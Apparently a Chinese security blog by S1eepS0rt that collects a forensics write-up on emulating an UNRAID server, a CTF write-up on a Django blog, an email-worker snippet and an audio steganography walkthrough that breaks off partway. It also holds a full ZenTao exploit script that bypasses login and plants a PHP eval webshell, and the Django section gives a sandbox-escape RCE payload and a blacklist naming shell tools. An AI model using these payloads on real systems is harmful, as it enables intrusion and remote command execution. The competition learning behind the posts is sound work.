S1eepS0rt

第三届“盘古石杯”全国电子数据取证大赛初赛服务器

Sun, 11 May 2025 00:00:01 +0800

第二届服务器稳定发挥混了个决赛一等奖，今年服务器爆零让队友抗压了

结束后对第三届“盘古石杯”全国电子数据取证大赛初赛UNRAID服务器部分做了比较完整的复盘，部分题目答案可能因为考虑不足，不一定对，在这里分享一下UNRAID仿真与LUKS ZFS数据盘的解密。如有错误，欢迎师傅们指出。

# 仿真与解密

# 基本信息

服务器启动模式: UEFI/BIOS (SYSLINUX)
镜像模式: DD
引导盘/系统盘: server1.001
数据盘: server2.001
数据盘文件系统: LUKS加密(ZFS文件系统)

# 思路

先说为什么找不到 keyfile
UNRAID使用SYSLINUX作为引导程序
其模式是系统和引导在U盘上
系统以CPIO ROOTFS的方式打包为文件进行存储
启动时解包文件挂载为目录
U盘作为EFI分区的同时也储存了系统

bzroot 存储了根文件系统
bzfirmware 存储了各类设备驱动
bzimage 存储了Linux内核
bzmodules 存储了内核模块

启动盘会挂载在 /boot 路径下
系统启动时，解包bzroot,bzmodules,bzfirmware等CPIO ROOTFS文件挂载为根文件系统

读取 /boot/config/ 下的各类配置文件作为系统配置

整个系统是运行在内存的
这就导致 /root 是无法存储文件的，只要系统重启 /root/目录下的文件就会丢失

而配置文件中keyfile的路径是 /root/keyfile
实际上整个服务器检材里就没有 LUKS 的 keyfile

分区表错误是因为启动盘原先是64GB优盘，但检材只截断了前 7.5GB 左右的数据
导致尾部的分区表丢失

所以该服务器每次断电重启后，需要重新上传keyfile进行解密

keyfile 既然不在服务器内，那只能在其他检材里了
经过一轮爆搜
以keyfile为关键词可以搜到PC检材pc-disk.e01中有一个RAR文件，其中存储了keyfile.keyfile

解压后是BASE64编码过的一句话

密钥即为

`1`	`emZz5Yqg5a+GcG9vbOWvhumSpeaWh+S7tg==`

注意密钥不能有换行符

`1`	`sudo cryptsetup luksDump --dump-master-key /dev/loop2p1`

使用该文件内容能够成功 dump 磁盘的 master-key 主密钥
证明密钥正确

# 提示

本篇使用了UEFI+QEMU KVM进行仿真
核心思路就是要把启动盘以EHCI/XHCI总线(USB)的方式挂载
VMware下可以尝试使用LegacyBIOS + MBR + 物理优盘方式
或将DD镜像转换为VMDK再挂载EHCI总线

# 仿真

接下来就是服务器的仿真了
unraid 这玩意只认优盘，以SCSI/SATA总线挂镜像会导致扫描不到UNRAID卷标的分区。
需要走ehci/xhci总线

之前写了一版使用物理U盘挂载引导的教程
受群友Cn5uk思路启发,可以直接把镜像挂载为USB设备，故以下操作均基于虚拟XHCI总线设备实现

先按照以下步骤把启动盘挂载为环回设备，添加密钥文件
并把luks密钥路径从/root/keyfile改为/boot/config/keyfile

cp server1.001 usb.raw
sudo losetup -P --show -f usb.raw
sudo mount /dev/loop6p3 /unraid-boot/
sudo cp keyfile /unraid-boot/config/keyfile
sudo sed -i s#/root/keyfile#/boot/config/keyfile#g /unraid-boot/config/disk.cfg

由于手头暂时没Windows PC，我这里使用服务器的 QEMU KVM开虚拟机

远程服务器不方便改网桥模式，使用QEMU USER NET网卡需要改为DHCP

super.dat 存储了硬盘信息

由于虚拟机硬盘ID以及名称可能会变化，我们先把 unraid super.dat 备份后删除

使用该 QEMU 参数挂载XHCI总线(USB)设备

1
2
3

-device qemu-xhci,id=xhci
-drive file=usb.raw,id=usbstick,format=raw,if=none
-device usb-storage,drive=usbstick,bus=xhci.0

这里不细讲QEMU KVM的原理以及使用了
确保安装了UEFI的固件，以及创建了UEFI_VARS

1
2

apt install ovmf
dd if=/dev/zero of=OVMF_VARS.fd bs=4096 count=1

按照以下内容进行配置
具体配置项不清楚的可以让Ai解释一下

# Author: S1EEPS0RT
# From: https://r1.pub/p/pangushi-pgs-forensics-2025-pre-unraid-server/
kvm \
  -m 8192 \ #内存
  -smp 8 \ #vCPU
  -cpu host \ #CPU Mode
  -boot c \
  -machine accel=kvm,usb=on \ # KVM 加速,开启USB
  -device qemu-xhci,id=xhci \ # XHCI总线
  -drive file=usb.raw,id=usbstick,format=raw,if=none \ # 添加虚拟启动盘
  -device usb-storage,drive=usbstick,bus=xhci.0 \ # 将上面的虚拟启动盘挂到XHCI总线 USB STORAGE模式
  -device virtio-scsi-pci,id=scsi0 \ # VirtIO SCSI
  -device virtio-net-pci,netdev=vnet \ # VirtIO NET
  -netdev user,id=vnet,hostfwd=tcp::8080-:80,hostfwd=tcp::8443-:443,hostfwd=tcp::2222-:22 \ #User Net端口转发
  -device usb-kbd,bus=xhci.0 -device usb-tablet,bus=xhci.0 \ # 鼠标指针
  -drive id=Data,format=raw,file=/v3/server2.001.raw,if=none \ # 数据盘挂载
  -device scsi-hd,drive=Data,bus=scsi0.0 \ # 数据盘走VirtIO SCSI总线
  -drive if=pflash,format=raw,readonly=on,file=/usr/share/OVMF/OVMF_CODE.fd \ # UEFI固件
  -drive if=pflash,format=raw,file=./OVMF_VARS.fd \ # UEFI 变量存储
  -boot menu=on \
  -vnc :1 \ # VNC PORT 5901
  -monitor stdio

可以顺利引导进入系统

账户 root 密码 P@ssw0rd

实际控制面板端口是80，我这里使用了端口转发故需要走SSH隧道代理访问

`1`	`ssh -D 12345 root@10.1.1.1`

如果你的虚拟机是桥接网卡模式，直接访问 80和22 端口

这里由于运行环境变了我们需要重新配置一下硬盘

新添加磁盘1，选择挂载的129GB数据盘

启动磁盘阵列

可以看到LUKSZFS已解密

docker 容器也正常显示

# 题目解析

以下是UNRAID服务器题解。

# 1、分析服务器检材，找出服务器系统启动盘的GUID？【标准格式:数字、字母、-的组合，字母大写】 (1分)

`1`	`223DCB83-82B0-4C62-864A-DB28D84735B8`

# 2、找出服务器网关IP？【标准格式:1.1.1.1】 (1分)

`1`	`192.168.56.128`

启动盘配置文件 config/network.cfg

# 3、找出服务器数据盘的文件系统格式？【标准格式:ntfs】 (1分)

zfs

启动盘配置文件 config/disk.cfg

仿真起来也可以看

# 4、找出服务器数据盘的解密密钥文件名？【标准格式:abcd】 (1分)

keyfile

启动盘配置文件 config/disk.cfg

# 5、找出服务器密码？【标准格式：key@123】 (3分)

`1`	`P@ssw0rd`

在启动盘 shadow 文件用hashcat跑字典

# 6、找出服务器版本号？【标准格式：0.0.0】 (1分)

7.0.1

在启动盘 changes.txt

也可以在 logs/tower-diagnostics-20250416-0148.zip/unraid-7.0.1.txt

# 7、找出服务器内Docker虚拟硬盘位置？【标准格式：/home/abc/adc.raw】 (2分)

`1`	`/mnt/disk1/docker.img`

在启动盘 config/docker.cfg

# 8、找出服务器启动盘的启动标识？【标准格式：D100，写出型号即可】 (3分)

U210

在 logs/tower-diagnostics-20250416-0148.zip 有 aigo_U210_6005911262432474746-0-0-20250416-0148 flash (sda).txt

aigo_U210 即为型号

VID 0x3535
PID 0x200

smartctl 7.4 2023-08-01 r5530 [x86_64-linux-6.6.78-Unraid] (local build)
Copyright (C) 2002-23, Bruce Allen, Christian Franke, www.smartmontools.org

/dev/sda: Unknown USB bridge [0x3535:0x5678 (0x200)]

# 9、找出服务器内共有多少个容器镜像？【标准格式：10】 (2分)

仿真起来，连接上去

# 10、找出服务器内网站服务器所用数据库运行的容器名？【标准格式：abc-abc-1】 (3分)

`1`	`www-db-1`

这题启动盘的syslog里也有。

# 11、找出服务器内虚拟币容器对外暴露的端口号？【标准格式：8000】 (3分)

# 12、找出投资理财网站的域名？【标准格式：3w.baidu.com】 (3分)

`1`	`2025.pgscup.com`

这题答案不确定

在手机检材里，QQ的聊天记录中，发过 2025.pgscup.com

dkewl.com 应该是卖源码的域名。

后台又配置了

`1`	`panguite.cup`

# 13、找出投资理财网站内连接数据库的密码？【标准格式：password】 (3分)

`1`	`www_dkewl_com`

可以看到挂载了目录 ThinkPHP 在 /mnt/disk1/www/Public/config.php

<?php
define('DB_TYPE', 'mysql');
define('DB_HOST', 'db');
define('DB_USER', 'www_dkewl_com');
define('DB_PWD', 'www_dkewl_com');
define('DB_NAME', 'www_dkewl_com');
define('DB_PREFIX', '');
define('DB_PORT', '3306');
define('DB_CHARSET', 'utf8');

# 14、找出投资理财网站后台访问地址？【标准格式：http://www.baidu.com/login.html】 (4分)

1
2

http://www.dkewl.com/www9nwcc/login.html
http://2025.pgscup.com/www9nwcc/login.html

路径是对的，域名有很多，结合手机材料可能是 2025.pgscup.com 查看网站模版结构，有神必目录绕密登录

# 15、找出投资理财网站会员等级设置存放在那个数据库表内？【标准格式：user】 (3分)

user

按格式是 user

user_member 也存了会员等级的详细设置
网站仿真，倒查数据库

# 16、找出投资理财网站提现成功的金额？【标准格式：10000】 (4分)

`1`	`SELECT SUM(money) FROM cash WHERE status = 1;`

mysql_data/generate_10k_records.sql 的cash表

把数据插入数据库

# 17、找出投资理财网站内用户王欣的银行卡号？【标准格式：16位数字】 (4分)

`1`	`2114313505182218`

找到了填充测试数据脚本,以及 mysql_data/generate_10k_records.sql

按出题人的思路，那应该是 generate_10k_records.sql

`1`	INSERT INTO `bank` VALUES (2908, 2908, '招商银行', '上海市分行', '2114313505182218', '王欣', '13236474221', 'ZZYU0919');

# 18、找出投资理财网站用户的最低提现金额？【标准格式：10000】 (5分)

# 19、给出存放投资理财用户表内clock为0表示用户处于那种状态？【标准格式：核实】 (5分)

正常

user 表内

clock int(11) NOT NULL DEFAULT 0 COMMENT ‘是否锁定,0否/1是’,

结合源码可以发现是两种状态
冻结或正常
如果 clock == 0 则为正常
如果 clock == 1 则为冻结

# 20、找出投资理财网站内通过支付宝支付充值状态为未支付的金额？【标准格式：10000】 (5分)

`1`	`11642201`

把 generate_10k_records.sql 的recharge部分导入线上数据库

recharge 表

`1`	`SELECT SUM(money) FROM recharge WHERE type = "支付宝扫码" AND status = 0;`

2025 CISCN x CCB 半决赛 WP

Mon, 17 Mar 2025 00:00:01 +0800

# AWDP

# Django-Blog

一个Django框架的Blog

Python 版本2.7.17

DJANGO 版本1.8.4

http://10.10.1.100:114514/detail_show/banner

detail_show 目录回退 + 任意文件读取

下载SQLITE数据库

/home/ctf/db.sqlite3

1
2
3

curl http://10.10.1.100:114514/detail_show/db.sqlite3 > CCB.db 
sqlite3 CCB.db
Select * from auth_user;

拿到如下Hash，拿去HashCat跑下字典能出密码为goldfish

1
2

1|pbkdf2_sha256$20000$m75uXPxpjnBe$9m1bkR0m/htBIIrZWXjpVJTtcQwrWnV3toc8vTtEYKg=|1|test|||test@gmail.com|1|1|2025-02-06 02:31:00|2025-02-08 04:48:44.864708
2|pbkdf2_sha256$20000$2kPOdwUyDkPH$zKM3be0X6LPaT7GL6jGc5scWlrwQrjBfgw+EnAqv9hU=|1|allan|||allan@gmail.com|1|1|2025-02-07 05:06:00|2025-03-16 01:23:02.550102

可以用 allan 账户登录登录后台

有一个代码模块，审计前端代码可以看到当按下 Ctrl Enter 发POST请求到后端执行代码

/admin/bootstrap_admin_web/execute/

<script>
    var editor = CodeMirror.fromTextArea(document.getElementById('id_source'), {
        mode: {
            name: "python",
            version: 2,
            singleLineStringErrors: false
        },
        lineNumbers: true,
        indentUnit: 4,
        tabMode: "shift",
        matchBrackets: true,
        extraKeys: {
            "Cmd-Enter": function(instance) {
                executeSource();
                return false;
            },
            "Ctrl-Enter": function(instance) {
                executeSource();
                return false;
            }
        }
    });

    if (navigator.platform.search('MacIntel') >=0) {
        django.jQuery('#id_execute').text('Execute (Cmd+Enter)');
    }

    var webshellEditor = django.jQuery('#id_output'),
        csrf_token = django.jQuery('input[name="csrfmiddlewaretoken"]').val();

    function executeSource(){
       webshellEditor.text('Executing...');
        django.jQuery.post('/admin/bootstrap_admin_web/execute/',
            {'source': editor.getValue(), 'csrfmiddlewaretoken': csrf_token},
            function(response){
                webshellEditor.text(response);
                hljs.highlightBlock(webshellEditor.get(0));
            }
        );
    }
</script>

执行代码提示需要 magic_key 才能执行

因为开了debug模式

随便让页面报错，可以知道项目名为 myblog

DJANGO 结构又有 settings.pyc

继续任意文件下载 /myblog/settings.pyc

反编译pyc 拿到Key

# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Embedded file name: django-blog\myblog\settings.py
# Compiled at: 2025-02-20 16:17:14
import os
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
SECRET_KEY = '-4h^=1iym8*i10$%zt^@^lv02hk4-jzq5ucspu$2czf71175c8'
MAGIC_KEY = 't3sec2025'
DEBUG = True
ALLOWED_HOSTS = [
 '*']
INSTALLED_APPS = ('bootstrap_admin', 'bootstrap_admin_web', 'django.contrib.admin',
                  'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions',
                  'django.contrib.messages', 'django.contrib.staticfiles', 'article')
BOOTSTRAP_ADMIN_SIDEBAR_MENU = True
MIDDLEWARE_CLASSES = ('django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware',
                      'django.contrib.auth.middleware.AuthenticationMiddleware',
                      'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
                      'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware',
                      'django.middleware.security.SecurityMiddleware')
ROOT_URLCONF = 'myblog.urls'
TEMPLATES = [
 {'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'DIRS': [
           os.path.join(BASE_DIR, 'templates')],
    'APP_DIRS': True,
    'OPTIONS': {'context_processors': [
                                     27,
                                     28,
                                     29,
                                     30,
                                     31,
                                     32]}}]
WSGI_APPLICATION = 'myblog.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3',
               'NAME': (os.path.join(BASE_DIR, 'db.sqlite3'))}}
LANGUAGE_CODE = 'zh-Hans'
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = True
STATIC_URL = '/static/'
STATICFILES_DIRS = (
 os.path.join(BASE_DIR, 'static'),)

# okay decompiling .\settings.pyc

拿去执行，发现有过滤，Python2 不吃Unicode绕过，但让代码报错可以看到文件路径

继续任意文件下载获取源码

#coding: utf-8
import sys
import traceback
from contextlib import contextmanager
try:
    from StringIO import StringIO
except ImportError:
    from io import StringIO
from django.http import HttpResponse
from django.views.decorators.http import require_POST
from django.contrib.auth.decorators import permission_required
from. lib import sandbox_exec 

@contextmanager
def catch_stdout(buff):
    stdout = sys.stdout
    sys.stdout = buff
    yield
    sys.stdout = stdout


@require_POST
@permission_required('is_superuser')
def execute_script_view(request):
    buff = StringIO()
    back_door = request.POST.get('magic_key', default='')
    if back_door == "t3sec2025":
        try:
            buff.write(sandbox_exec(request.POST.get('source', '')))
        except:
            traceback.print_exc(file=buff)
    else:
        buff.write("这是一个高级功能，只有携带magic_key才能执行命令。")
    return HttpResponse(buff.getvalue())

可以看到有以下过滤

import sys

output = ""


# hook print for easy game
class redirect:
    content = ""

    def write(self, content):
        global output
        output = ""
        self.content += content
        output = self.content

    def flush(self):
        self.content = ""


def _sandbox_filter(command):
    blacklist = [
        'object',
        'exec',
        'sh',
        '__getitem__',
        '__setitem__',
        'import',
        '=',
        'open',
        'read',
        'sys',
        ';',
        'os',
        'tcp',
        '`',
        '&',
        'base64',
        'flag',
        'eval'
    ]
    for forbid in blacklist:
        if forbid in command:
            return forbid
    return ""


def sandbox_exec(command):
    global output
    output = ""
    result = ""
    sys.stdout = redirect()
    flag = _sandbox_filter(command)
    if flag:
        result = "Found {}".format(flag)
        result += '<br>REDACTED'
    else:
        exec(command)
    if result == "":
        result = output
    return result

# 防御

/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py 里硬编码

if back_door == “t3sec2025”

所以 update.sh 这样写就能防御通过

1
2
3

#!/bin/bash

sed -i s#t3sec2025#s1eeps0rt#g /usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py

# 攻击

`1`	`__builtins__['__imp'+'ort__']('commands').getoutput('ls />/tmp/a')`

使用 builtins

字符串拼接 import 使用dict 绕过

导入 commands 模块

使用 commands.getoutput() 函数来RCE

可以用重定向堆叠的方式绕过 sh , 之类的过滤将执行结果写入文件

结合任意文件读取实现命令执行回显

然后AWDP赛中的时候平台Checker 炸了，队友的Pwn Check 一次能卡半个小时，交不上去，直到结束也没能成功

赛方画饼公告说正在研究解决方案，当然大家都知道也不可能有啥解决方案。

下午渗透和队友们嗯造出了几台靶机最后也没进决赛，喜提一个二等安慰奖。

从来没觉得打CTF开心过收收心回家摊鸡蛋灌饼了。

Cloudflare Email Workers Auth

Sat, 21 Dec 2024 00:00:01 +0800

绑定Cloudflare Email Worker，当收到新邮件时转发内容至指定的WebHook，进一步处理
实现邮箱验证功能

webhook_endpoint 填你的公网WebHook地址
注意添加Token鉴权

Worker 代码

export default {
  async email(message, env, ctx,Request) {
    let webhook_endpoint = "https://wocao-bing.trycloudflare.com"
    switch (message.to) {
      case "test@r1.pub":
        await fetch("https://webhook.slack/notification", {
          body: `Got a email from ${message.from}, subject: ${message.headers.get('subject')}`,
        });
        await message.forward("inbox@corp");
        break;
  
      default:
        await fetch(webhook_endpoint+"/auth-mail", {
          headers: {
            "Content-Type": "application/json",
            "X-Request-With": "Cloudflare Email Worker"
          },
          method: "POST",
          body: JSON.stringify({
            "from": message.from,
            "to": message.to,
            "subject": "Auth",
          }),
        });
        await message.forward("archive@example.com");
    }
  }
}

示例后端代码

type MailInfo struct {
        MessageFrom string `json:"from"`
        MessageTo   string `json:"to"`
        Subject     string `json:"subject"`
}

var mailMap = make(map[string]MailInfo)

func main() {
        initDB()
        r := gin.Default()
        r.Static("/assets", "./www/assets")
        r.Use(wtfServer)
        r.NoRoute(func(c *gin.Context) {
                c.String(200, "uid=0(root) gid=0(root) groups=0(root)")
        })
        r.POST("/auth-mail", func(c *gin.Context) {
                domain := "@r1.pub"
                log.Println("Processing Mail.")
                log.Println("处理邮件中.")
                var mailInfo MailInfo
                err := c.BindJSON(&mailInfo)
                if err != nil {
                        log.Println(err)
                        c.JSON(http.StatusOK, gin.H{
                                "message": "nope",
                        })
                        return
                }
                log.Println("发件人:", mailInfo.MessageFrom)
                log.Println("收件人:", mailInfo.MessageTo)
                log.Println("邮件主题:", mailInfo.Subject)
                if mail, found := mailMap[mailInfo.MessageTo]; found {
                        if mail.MessageTo == mailInfo.MessageTo {
                                if strings.HasSuffix(mailInfo.MessageFrom, domain) {
                                        log.Println("验证成功:", "EXAMPLE")
                                        stuid := mailInfo.MessageFrom[:8]
                                        log.Println("学号:", stuid)
                                        mailMap[mail.MessageTo] = mailInfo
                                } else {
                                        log.Println("非教育邮箱,跳过.")
                                }
                        }
                } else {
                        log.Println("未查找到该ID,跳过.")
                }
                c.JSON(http.StatusOK, gin.H{
                        "message": "pong",
                })
        })
}

[CTF] 蝉道Zentao RCE脚本

Fri, 20 Dec 2024 00:00:01 +0800

编写的是非伪静态版本
伪静态替换下路径即可

import requests
import random
import re

# Author S1EEPS0RT

header={
    "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0",
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}

def getSessionId(url,session):
    target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
    r=session.get(target,headers=header)
    try:
        zentaosid=r.cookies.get_dict()['zentaosid']
        print(zentaosid)
    except:
        print("[x]","无法获取Cookie")

    header["Cookie"]="zentaosid="+zentaosid
    resp=session.get(url+"/index.php?m=my&f=index",headers=header)
    if "index.php?m=user&f=login" not in resp.text:
        print("[*]","绕过登陆验证")
        return zentaosid
    else:
        print("[x]","无法绕过验证")

def createRepo(url,sid):
    target=url+"/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss"
    header["Cookie"]="zentaosid="+sid
    header["Referer"]=url+"/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss"
    header["Origin"]=url
    header["Accept"]="application/json, text/javascript, */*; q=0.01"
    header["X-Requested-With"]="XMLHttpRequest"
    payload = "product%5B%5D=1&SCM=Gitlab&serviceProject=ptest"+str(random.randint(100, 90000))+"&name=pp1"+str(random.randint(100, 90000))+"&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68"
    r=requests.post(target,headers=header,data=payload)
    print("[*]",r.text)
    match = re.search(r'repoID=(\d+)', r.text)
    if match:
        return match.group(1)
    else:
        print("[x]","创建仓库失败")
        exit()

def editRepo(url,sid,repoid):
    target=url+"/index.php?m=repo&f=edit&repoID="+repoid+"&objectID=0&tid=91c0hwo4"
    header["Cookie"]="zentaosid="+sid
    header["Referer"]=url+"/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss"
    header["Origin"]=url
    header["Accept"]="application/json, text/javascript, */*; q=0.01"
    payload = "product%255B%255D=1&SCM=Subversion&serviceProject=0&name=O0O&path=http://10.0.0.1&encoding=utf-8&client=%60echo%20PD9waHAgZXZhbCgkX1BPU1RbImEiXSkgPz4=%7Cbase64%20-d%20%3E%20../../www/data/shell.php%60&account=&password=&encrypt=base64&desc=&uid=66b9b73fa898b"
    r=requests.post(target,headers=header,data=payload)
    print("[*]",r.text)

def execCommand(url,command):
    headers={
        "Content-Type":"application/x-www-form-urlencoded"
    }
    target=url+"/data/shell.php"
    payload = "a="+command
    r=requests.post(target,data=payload,headers=headers)
    print("[*]",r.text)

if __name__ == '__main__':
    base_url = "http://172.21.11.5/zentaopms/www"
    session=requests.Session()
    print("<-- S1EEPS0RT -->")
    sid = getSessionId(base_url,session)
    print("[*]","尝试创建Repo")
    repoID = createRepo(base_url,sid)
    print("[*]","RepoID:",repoID)
    print("[*]","尝试写入WebShell")
    editRepo(base_url,sid,repoID)
    print("[*]","通过 /data/shell.php 执行命令")
    execCommand(base_url,"system('id;date;env')%3B")

[CTF] 睡眠排序的出题记录 w0w

Sun, 20 Oct 2024 00:00:01 +0800

# 题目列表

花斯卡、火斯卡
路由器 - 0、路由器 - 1
Chiikawa
void null() {}

# 花斯卡、火斯卡

本题所需要的工具「ffmpeg」「flac」
这两个工具都可以很方便的下到
如果对音视频分析，你通常还会用到 Audacity、REAPER、SPEK 、VLC
这些工具可以辅助你的解题和日常处理音视频的需求
但解出本题其实只需要ffmpeg即可

# FFMPEG

官网: ffmpeg.org
FFmpeg 是一款功能强大的开源多媒体处理工具。

在视频处理方面，它可以进行格式转换，将一种视频格式转换为另一种，满足不同设备和平台的需求。能对视频进行裁剪、拼接、添加字幕等操作，方便视频制作和编辑。在音频处理上，可进行音频格式转换、混音、提取音频等。它还支持流媒体处理，用于直播推流、拉流以及视频点播服务。FFmpeg 具有高效、稳定的特点，广泛应用于影视制作、在线教育、广播电视等众多领域，为多媒体内容的处理和传播提供了有力的支持。

你可能听过OBS Studio，这一软件的音视频处理部分就大量的使用了FFMPEG。

而在商业软件中，FFMPEG也是绝对的压倒性地位
诸如某某视频客户端，某某短视频，可以说几乎所有和音视频相关的软件中都有FFMPEG
我敢保证你现在的手机或电脑里就有很多个FFMPEG构建成的软件。

在Deb系列 Linux中安装 ffmpeg

1
2

apt update
apt install ffmpeg -y

macOS使用homebrew安装ffmpeg

`1`	`brew install ffmpeg`

Windows安装ffmpeg

`1`	`ffmpeg.org 下载热心网友预编译的版本`

# 分析

拿到本题，如果你有仔细听，在视频的结尾，会有一声爆音
你可以在Audacity、REAPER中明确的看到这一点

通过下载网络上公开的视频，可以发现，结尾是非常干净的

此时我们的切入点就是结尾这个爆音所隐藏的数据

我们可以使用 ffprobe 命令查看该视频文件的元信息

看看该视频所用的编码是哪些

`1`	`ffprobe ~/Downloads/sparkle.mp4`

  Metadata:
    major_brand     : isom
    minor_version   : 512
    compatible_brands: isomiso2avc1mp41
    encoder         : Lavf61.7.100
  Duration: 00:02:01.40, start: 0.000000, bitrate: 26425 kb/s
  Stream #0:0[0x1](und): Video: h264 (High) (avc1 / 0x31637661), yuv420p(tv, bt709, progressive), 1920x1080 [SAR 1:1 DAR 16:9], 25489 kb/s, 30 fps, 30 tbr, 15360 tbn (default)
      Metadata:
        handler_name    : Video Media Handler
        vendor_id       : [0][0][0][0]
        encoder         : AVC Coding
  Stream #0:1[0x2](und): Audio: flac (fLaC / 0x43614C66), 48000 Hz, stereo, s32 (24 bit), 931 kb/s (default)
      Metadata:
        handler_name    : SoundHandler
        vendor_id       : [0][0][0][0]

我们可以看到，该视频的容器是mp4，视频编码采用了h264, 音频编码采用了flac

如果经常接触视频创作的朋友可能就会很熟悉了

mp4容器配合分发常用的音频编码应该是 aac

就算稍微少见一点也应该是 opus,mp3

而这里却给了一个flac，很不常见，我们的入口点应该在flac编码身上

而如果你是玩Hi-Fi的朋友 (这就是音乐.raw)

或者平时关注听歌的品质

再或者你去问CHATGPT

你会得到一个信息「FLAC是一种无损压缩音频编码」

和zlib, gzip, 这些格式一样，无损压缩意味着你可以想解压一样还原数据原本的样子

而没有任何笋丝 (损失)

那么我们的思路就是

把音频没有任何笋丝的提取出来
把FLAC音频解码
看看解码后的音频结构

# 提取音频

在ffmpeg中，只要参数正确，我们可以无损的把视频数据或音频数据提取出来

`1`	`ffmpeg -i sparkle.mp4 -vn raw.flac`

这条命令的作用是 -i sparkle.mp4 (指定输入的文件)

-vn (video no, 不处理视频，我们只需要音频)

raw.flac (存储的文件名)

当你看到以下输出时，说明音轨被无损的提取了出来

Stream mapping:
  Stream #0:1 -> #0:0 (flac (native) -> flac (native))
Press [q] to stop, [?] for help
Output #0, flac, to 'raw.flac':

native to native

# 解码FLAC

使用 flac -d 命令，将FLAC解编码

flac -d raw.flac


flac 1.4.3
Copyright (C) 2000-2009  Josh Coalson, 2011-2023  Xiph.Org Foundation
flac comes with ABSOLUTELY NO WARRANTY.  This is free software, and you are
welcome to redistribute it under certain conditions.  Type `flac' for details.

raw.flac: done

在当前目录下，会生成一个 raw.wav

ffprobe raw.wav

Input #0, wav, from 'raw.wav':
  Duration: 00:02:01.40, bitrate: 2304 kb/s
  Stream #0:0: Audio: pcm_s24le ([1][0][0][0] / 0x0001), 48000 Hz, stereo, s32 (24 bit), 2304 kb/s

我们可以发现 FLAC 已经解编码为 pcm_s24le 格式了

如果学过信号与系统的朋友应该很清楚这是什么了

PCM 音频是未经压缩的原始音频数据，能够准确地还原声音的本来面貌，具有高保真度。它通过对模拟音频信号进行采样、量化和编码来实现数字化。采样频率决定了每秒采集的样本数量，较高的采样频率能捕捉更丰富的音频细节；量化位数则表示每个采样点的精度，位数越高，声音的动态范围和精度就越高。

这里已经比较Hi-Fi了 (相比DSD或者192khz来说)

还记得之前提到的结尾有一声尖刺吗

我们这时候再对 raw.wav 分析

`1`	`tail -b 100 raw.wav\|xxd`

查看 raw.wav 结尾的100字节数据，我们直接就看到FLAG了

或者你也可以用 strings 命令直接提取 wav 中的可见字符，一把拿下

这时候就有朋友要说了，不是说好了本题只需要ffmpeg吗，怎么还用了flac命令行

现在讲的是轮椅做法，位深、采样率什么的 flac程序都帮你处理好了

接下来讲如何只用ffmpeg提取该音频

使用ffprobe分别查看视频流和音频流的长度

x@mac ~ % ffprobe -v error -select_streams a:0 -show_entries stream=duration ~/Downloads/sparkle.mp4
[STREAM]
duration=121.400083
[/STREAM]
x@mac ~ % ffprobe -v error -select_streams v:0 -show_entries stream=duration ~/Downloads/sparkle.mp4
[STREAM]
duration=121.400000
[/STREAM]

可以看到音频流 a:0 比视频流 v:0 多出了0.000083s

而正常视频软件生成会裁剪对齐音视频的，明显音频被动手脚了

之前我们看到音频的元数据是 s32 (24bit)

  Stream #0:1[0x2](und): Audio: flac (fLaC / 0x43614C66), 48000 Hz, stereo, s32 (24 bit), 931 kb/s (default)
      Metadata:
        handler_name    : SoundHandler
        vendor_id       : [0][0][0][0]

“S32” 表示有符号的 32 位整数数据类型。在音频处理中，用于存储音频样本值。

“24bit” 通常指音频的量化位数为 24 位。量化位数决定了音频信号的精度和动态范围。

“S32（24bit）” 意味着音频数据以有符号 32 位整数的形式存储，并且实际有效的量化精度为 24 位。

我们查看 ffmpeg 有哪些音频解码器

ffmpeg -decoders|grep pcm

 A....D pcm_s16be            PCM signed 16-bit big-endian
 A....D pcm_s16be_planar     PCM signed 16-bit big-endian planar
 A....D pcm_s16le            PCM signed 16-bit little-endian
 A....D pcm_s16le_planar     PCM signed 16-bit little-endian planar
 A....D pcm_s24be            PCM signed 24-bit big-endian
 A....D pcm_s24daud          PCM D-Cinema audio signed 24-bit
 A....D pcm_s24le            PCM signed 24-bit little-endian
 A....D pcm_s24le_planar     PCM signed 24-bit little-endian planar
 A....D pcm_s32be            PCM signed 32-bit big-endian
 A....D pcm_s32le            PCM signed 32-bit little-endian
 A....D pcm_s32le_planar     PCM signed 32-bit little-endian planar
 A....D pcm_s64be            PCM signed 64-bit big-endian
 A....D pcm_s64le            PCM signed 64-bit little-endian

在这里，由于音频实际有效精度为 24bit

所以我们选 pcm_s24le 解码器

如果你有一些计算机组成原理知识

就会知道字节在计算机系统里分为大端序存储和小端序存储

而在 x86 以及我们日常生活中通常用小端序，所以这里选little-endian

ffmpeg -i ~/Downloads/sparkle.mp4 -acodec pcm_s24le -vn r1.wav

Stream mapping:
  Stream #0:1 -> #0:0 (flac (native) -> pcm_s24le (native))
Press [q] to stop, [?] for help

这时视频中的音频就以 24bit PCM 的解码方式，存储至 r1.wav

我们strings一下就出flag了

x@xdeMacBook-Air ~ % strings r1.wav
RIFFv
WAVEfmt (
qLIST
INFOISFT
Lavf61.7.100
data
xujc{https://b23.tv/zPZoAcz}
x@xdeMacBook-Air ~ %

到这里，花斯卡题目就完整解出了

接下来我们开始火斯卡

拿到了一个B站的链接

https://b23.tv/zPZoAcz

我们去访问一下

发现又是一个视频，但我们会注意到访问后地址栏多了一堆东西，貌似还跳了一下

似乎是什么东西消失了

我们把浏览器的地址复制一下

然后使用curl命令访问一下原始链接，看看什么消失了

1
2

浏览器
